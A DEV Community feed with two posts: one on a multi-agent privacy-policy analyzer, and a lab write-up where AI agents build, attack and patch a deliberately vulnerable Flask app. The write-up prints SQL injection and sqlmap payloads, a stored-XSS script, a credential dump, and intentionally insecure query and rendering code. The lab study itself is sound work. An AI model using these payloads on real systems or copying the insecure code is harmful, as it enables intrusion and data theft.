DEV Community: Abdallah Abughallous

No one reads privacy policies. So I built 6 AI Agents to do it for me.

Abdallah Abughallous — Sat, 04 Jul 2026 16:23:18 +0000

We all know the drill: you sign up for a new service, a massive wall of legal text pops up, and you instantly scroll to the bottom and click "I Accept." As developers, we know exactly how much data is being harvested, yet we still don't have the time to read through 40 pages of legal jargon.

For the Microsoft Agents League Hackathon (Reasoning Agents Track) in collaboration with Microsoft Foundry, I decided to build a solution.

Meet TrustGuard AI — a multi-agent system that doesn't just summarize privacy policies, but uses sequential reasoning to decode real-world risks, hunt down dark patterns, and benchmark sites against tech giants.

Here is a breakdown of how I built it and the architecture behind the agents. 🚀

🧠 Summarization vs. Reasoning
The problem with most LLM-based legal tools is that they just summarize. But summarizing a terrible privacy clause just gives you a shorter terrible privacy clause.

I wanted the AI to reason. Using Azure AI Foundry (GPT-5.4), TrustGuard AI runs a sequential pipeline where each agent has a specific job, passing context to the next to build a comprehensive risk profile.

⚙️ The 6-Agent Pipeline
The core of TrustGuard is an orchestration of 6 specialized agents:

🔍 Extractor: Scrapes and parses every clause (data collection, sharing, retention, user rights).

⚖️ Legal Reasoner: Takes the extracted text and infers real-world implications. What happens to the user if this company gets breached?

🕵️ Dark Patterns Detector: Looks for manipulative UX/legal tactics—forced consent, vague language, and obstruction.

📖 Readability Analyzer: Combines traditional algorithms (Flesch-Kincaid) with AI grading to score how intentionally convoluted the policy is.

🧾 Rights Auditor: Audits compliance across 7 fundamental user rights (access, deletion, etc.) and evaluates the friction involved in exercising them.

📊 Comparator (Policy DNA™): Benchmarks the analyzed policy against 8 major platforms.

✨ The Coolest Tech Features
Policy DNA™ Benchmark: Instead of an arbitrary score, the Comparator agent gives relative metrics (e.g., "This site is 23% riskier than TikTok").

Silent Update Detection: Companies change policies quietly. I implemented a Change Tracker that uses SHA-256 diffing between visits to flag silent updates.

Global Compliance: Simultaneously checks the text against 6 major legal frameworks (GDPR, CCPA, PDPA, PIPEDA, LGPD, DPDPA).

The Tech Stack:

AI & LLM: Azure AI Foundry · GPT-5.4

Backend: Python · Flask · fpdf2 (for generating reports)

Frontend: Vanilla JS · HTML/CSS

Scraping & NLP: BeautifulSoup4 · requests · Local Flesch-Kincaid logic

🚀 Run it locally
I've open-sourced the project under the PolyForm Noncommercial License for the community to study, modify, and play around with.

You can get it running in a couple of minutes:

Bash

1. Clone the repo

git clone https://github.com/YOUR_USERNAME/trustguard-ai.git
cd trustguard-ai

2. Setup virtual environment

python -m venv venv && source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt

3. Configure environment variables

cp .env.example .env

Open .env and add your Azure Foundry credentials (AZURE_ENDPOINT, AZURE_API_KEY, DEPLOYMENT_NAME)

4. Run the Flask app

python app.py
Open http://localhost:5000 and throw your favorite (or least favorite) website's privacy policy at it!

💬 Let's Discuss!
Building multi-agent pipelines requires a lot of tweaking when it comes to context window management and prompt hand-offs between agents. If you've built similar sequential pipelines, I’d love to hear how you handle agent-to-agent communication!

📺 Demo Video: Check it in the repo
💻 GitHub Repo: https://github.com/AbdaullahAG/Trustguard_AI

Would love to hear your technical feedback in the comments! 👇

When AI Attacks Itself: A Fully Autonomous Red Team vs Blue Team Experiment

Abdallah Abughallous — Tue, 23 Jun 2026 07:41:13 +0000

When AI Attacks Itself: A Fully Autonomous Red Team vs Blue Team Experiment

Date: June 22, 2026 · Environment: Kali Linux VM · Azure OpenAI · Docker

Tags: AI Security Penetration Testing AppSec Autonomous Agents GPT-4o gpt-5.2

The Idea I Couldn't Get Out of My Head

What if two AI agents fought each other — one building and defending a web application, the other trying to break in? Two different models. No human intervention. No waiting. No typos in terminal commands.

I ran the experiment. The results were more interesting than I expected — not just because the attack and defense both worked, but because of how fast everything happened.

The Setup

Two models. Two roles. One isolated Kali Linux VM.

Agent	Model	Role
🔴 Red Agent	GPT-4o (Azure OpenAI)	Attack, analyze findings, verify patch
🔵 Blue Agent	gpt-5.2 (Azure OpenAI)	Build target app, patch vulnerabilities

Target stack: Flask · SQLite · Werkzeug 3.1.8 · Python 3.11.15 · Docker

Why two different models? Using GPT-4o for offense and gpt-5.2 for defense creates genuine asymmetry — each model brings different reasoning patterns to its role. A single model playing both sides would produce biased results.

A note on tooling: We started with AutoGen for agent orchestration, but hit a library conflict — AutoGen's bundled openai v0.x clashed with the modern openai v1.x SDK. We scrapped it and called the Azure OpenAI API directly. Simpler, faster, no magic.

Phase 1: Proof of Concept

Act 1 — Blue Agent Builds the Target ⏱️ 15 seconds

Blue Agent (gpt-5.2) was given one instruction: build a Flask/SQLite web app, deploy it via Docker, and intentionally leave two vulnerabilities in it for the experiment.

Vulnerability 1: SQL Injection

# ❌ User input injected directly into SQL query
query = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"
cur.execute(query)

Vulnerability 2: Stored XSS

# ❌ Raw user input stored and rendered without sanitization
comments_html = "".join(f"<p>{r[0]}</p>" for r in rows)

The database was pre-seeded with two users: admin:secret123 and alice:pass456.

From script execution to Container vulnerable-webapp Started: 15 seconds.

$ curl -s http://localhost:5000/login | grep -o "<h2>.*</h2>"
<h2>Login</h2>   # ✅ App is live on port 5000

Act 2 — Red Agent Attacks ⏱️ 70 seconds

Red Agent (GPT-4o) ran a four-phase attack script automatically.

Phase 1 — Reconnaissance: nmap (6.38 seconds)

PORT     STATE SERVICE VERSION
5000/tcp open  http    Werkzeug httpd 3.1.8 (Python 3.11.15)

Framework version fingerprinted. We know exactly what we're dealing with.

Phase 2 — Manual SQL Injection (< 1 second)

Payload:  admin' OR '1'='1
Response: ✅ Welcome admin!

Phase 3 — sqlmap Automated Scan (10 seconds)

sqlmap automatically identified the backend as SQLite, then discovered three injection techniques on the same username parameter:

Type: boolean-based blind
Payload: username=admin' AND CASE WHEN 1348=1348 THEN 1348
         ELSE JSON(CHAR(69,74,90,69)) END AND 'xgKy'='xgKy

Type: time-based blind
Payload: username=admin' AND 7314=LIKE(CHAR(65,66,67,68,69,70,71),
         UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'fesM'='fesM

Type: UNION query (3 columns)
Payload: username=-5323' UNION ALL SELECT NULL,CHAR(113,120,112,107,113)
         ||CHAR(70,109,100,...)||CHAR(113,120,118,106,113),NULL-- qZAZ

Then dumped the entire database — 100 HTTP requests total:

Database: SQLite_masterdb
Table: users
+----+-----------+----------+
| id | password  | username |
+----+-----------+----------+
| 1  | secret123 | admin    |
| 2  | pass456   | alice    |
+----+-----------+----------+

Phase 4 — Stored XSS (< 1 second)

Payload stored:  <script>alert("XSS_PWNED")</script>
Reflected back:  ✅ Script tag present — executes in any visitor's browser

Total: 70 seconds. 100 HTTP requests. Every credential stolen. XSS payload live.

GPT-4o then analyzed its own attack output and produced a structured threat intelligence report:

Vulnerability	Severity	Impact
SQL Injection	Critical	Full database compromise, authentication bypass
Stored XSS	High	Arbitrary JavaScript execution on all visitors

API cost for this analysis: 4,667 tokens — roughly $0.05.

Act 3 — Blue Agent Patches the Code ⏱️ 30 seconds

The GPT-4o threat report was passed directly to Blue Agent (gpt-5.2) along with the vulnerable app.py. No human read the report. No human wrote the fix.

Fix 1: Parameterized Queries

# ✅ SQL logic and user data are now completely separated
cur.execute("SELECT * FROM users WHERE username=? AND password=?", (user, pwd))

The database driver handles escaping. User input is always treated as a literal value — never as SQL syntax.

Fix 2: Output Encoding + CSP Header

# ✅ Special characters neutralized before rendering
import html
comments_html = "".join(f"<p>{html.escape(r[0])}</p>" for r in rows)
# + Content-Security-Policy: script-src 'self'  (added to response headers)

Blue Agent automatically saved a backup of the original file (app.py.backup), wrote the patched version, and the orchestrator triggered a Docker rebuild:

[+] Building 1.6s (11/11) FINISHED
✔ Container vulnerable-webapp  Started ✅

API cost for patch generation: 2,561 tokens — roughly $0.03.

Act 4 — Red Agent Confirms the Fix ⏱️ 3 seconds

Same payloads. Same tools. Different result.

SQL Injection — blocked

Payload: admin' OR '1'='1
Result:  ❌ Invalid credentials

sqlmap — full arsenal, nothing found

[WARNING] POST parameter 'username' does not seem to be injectable
[WARNING] POST parameter 'password' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.

sqlmap tried every technique it had. All failed.

Stored XSS — escaped

Input:  <script>alert("XSS_PWNED")</script>
Output: &lt;script&gt;alert(&quot;XSS_PWNED&quot;)&lt;/script&gt;

Stored as plain text. Browser renders it, doesn't execute it.

Legitimate login still works:

username=admin&password=secret123  →  ✅ Welcome admin!

Vulnerability	Before Patch	After Patch
SQL Injection — manual	❌ Exploited	✅ Blocked
SQL Injection — sqlmap	❌ Full DB dumped	✅ Not injectable
Stored XSS	❌ Script executed	✅ Escaped to plain text
Legitimate login	✅ Works	✅ Still works

Phase 2: Fully Autonomous Closed-Loop

Phase 1 proved the concept with manual handoffs between steps. Phase 2 eliminated them entirely.

orchestrator.py connects both agents in a Closed-Loop Feedback System — a self-healing security pipeline that runs start-to-finish with a single command: python3 orchestrator.py.

[Orchestrator] ──── launch ────► [Red Agent GPT-4o: Attack]
      │                                        │
  rebuild Docker                         generate report
      │                                        │
      ▼                                        ▼
[Docker Container] ◄── patch ── [Blue Agent gpt-5.2: Defense]
      │
  new container live
      │
      ▼
[Red Agent GPT-4o: Verification Mode]
  → receives patched source code
  → reasons about bypass possibilities
  → confirms: SECURE ✅

The critical engineering decision in Phase 4: Red Agent doesn't just re-run attack.sh. It receives the actual patched Python source code and reasons about whether its previous payloads could succeed against the new logic. This is code-level security analysis, not blind tool re-execution.

Live Orchestrator Output

🚀 Starting Joint Operations Room: Red Team vs Blue Team...
==================================================

🔥 [Phase 1] Launching Red Agent (GPT-4o)...
📝 Red Agent successfully generated attack report!

🛡️ [Phase 2] Orchestrator hands report to Blue Agent (gpt-5.2)...
🛠️ Blue Agent patched the code and rewrote app.py automatically!

🐳 [Phase 3] Orchestrator rebuilds Docker with patched code...
🔄 Container updated. Secure version now live.

🎯 [Phase 4] Calling Red Agent for verification audit...

==================================================
🏁 Final Verification Report:

1. SQL Injection:
   Patched: cur.execute("SELECT ... WHERE username=?", (user,))
   Payload: admin' OR '1'='1
   Result:  ❌ BLOCKED — Parameterized queries neutralize the injection.

2. Stored XSS:
   Patched: html.escape() + Content-Security-Policy: script-src 'self'
   Payload: <script>alert('XSS')</script>
   Result:  ❌ BLOCKED — Rendered as &lt;script&gt;. CSP blocks inline JS.

System Status: SECURE 🛡️
==================================================

Why the CSP Header Is the Interesting Part

Blue Agent applied Defense-in-Depth without being explicitly asked:

Layer 1: html.escape() converts <script> → <script> at the Python level
Layer 2: Content-Security-Policy: script-src 'self' tells the browser to refuse any inline JavaScript, even if encoding somehow fails

Both layers must fail simultaneously for XSS to succeed. The model reasoned about this independently — it wasn't in the prompt.

The Complete Timeline

18:36:58  🔵 gpt-5.2 builds app → Docker starts              ~15s
18:37:06  🔴 GPT-4o begins attack
          ├── nmap: Werkzeug 3.1.8 / Python 3.11.15          6.38s
          ├── SQLi: login bypassed on first payload           <1s
          ├── sqlmap: 3 injection types, full DB dump         10s
          └── XSS: payload stored and reflected               <1s
                                                    ──────────────
                                                    70s total
                                                    100 HTTP reqs

18:37:16  🤖 GPT-4o analyzes findings                1 call · 4,667 tokens
          🔵 gpt-5.2 patches app.py                  1 call · 2,561 tokens
          🐳 Docker rebuild                           ~20s (cached layers)

19:44:16  🔴 GPT-4o re-tests patched app             3s — all blocked

──────────────────────────────────────────────────────────────────
⏱️  Full cycle, start to finish:  < 2 minutes
💰  Total Azure OpenAI cost:      ~$0.08
👤  Human intervention:           zero

What This Actually Means

Speed is the real shift.
What traditionally takes days — Red Team engagement, developer reads report, writes fix, gets it reviewed, deploys — happened in under two minutes. Not because AI is smarter than a human security engineer. Because it doesn't stop, doesn't need context-switching, and doesn't wait for a Slack reply.

Two models beat one.
GPT-4o on offense and gpt-5.2 on defense created genuine asymmetry. The experiment would have been less honest — and less interesting — with a single model playing both sides.

Ditch the framework when it fights you.
AutoGen looked good on paper. When its bundled openai v0.x clashed with our openai v1.x, we spent zero time debugging it and called the API directly. Sometimes the abstraction isn't worth it.

AI doesn't invent, it compresses.
SQL Injection is in OWASP Top 10. sqlmap is public. Parameterized queries are documented everywhere. What AI did here was collapse the time between knowing and doing — from days to seconds.

The real implication.
If an attacker can automate a full recon-exploit-report cycle in 70 seconds for $0.05, the defender's response window shrinks to something only automation can match. This experiment is a small demonstration of that pressure.

What's Next

[ ] Add CSRF and IDOR to the target app and repeat
[ ] Test whether Red Agent can find vulnerabilities it wasn't told about
[ ] Pit GPT-4o vs gpt-5.2 in both roles and compare outcomes
[ ] Build a real-time terminal dashboard for the orchestration loop
[ ] Extend to DAST scanning with OWASP ZAP

Full source code and setup instructions: https://github.com/AbdaullahAG/autonomous-ai-red-blue-lab

All tests conducted in a completely isolated VM environment. Never apply these techniques to systems without explicit written permission.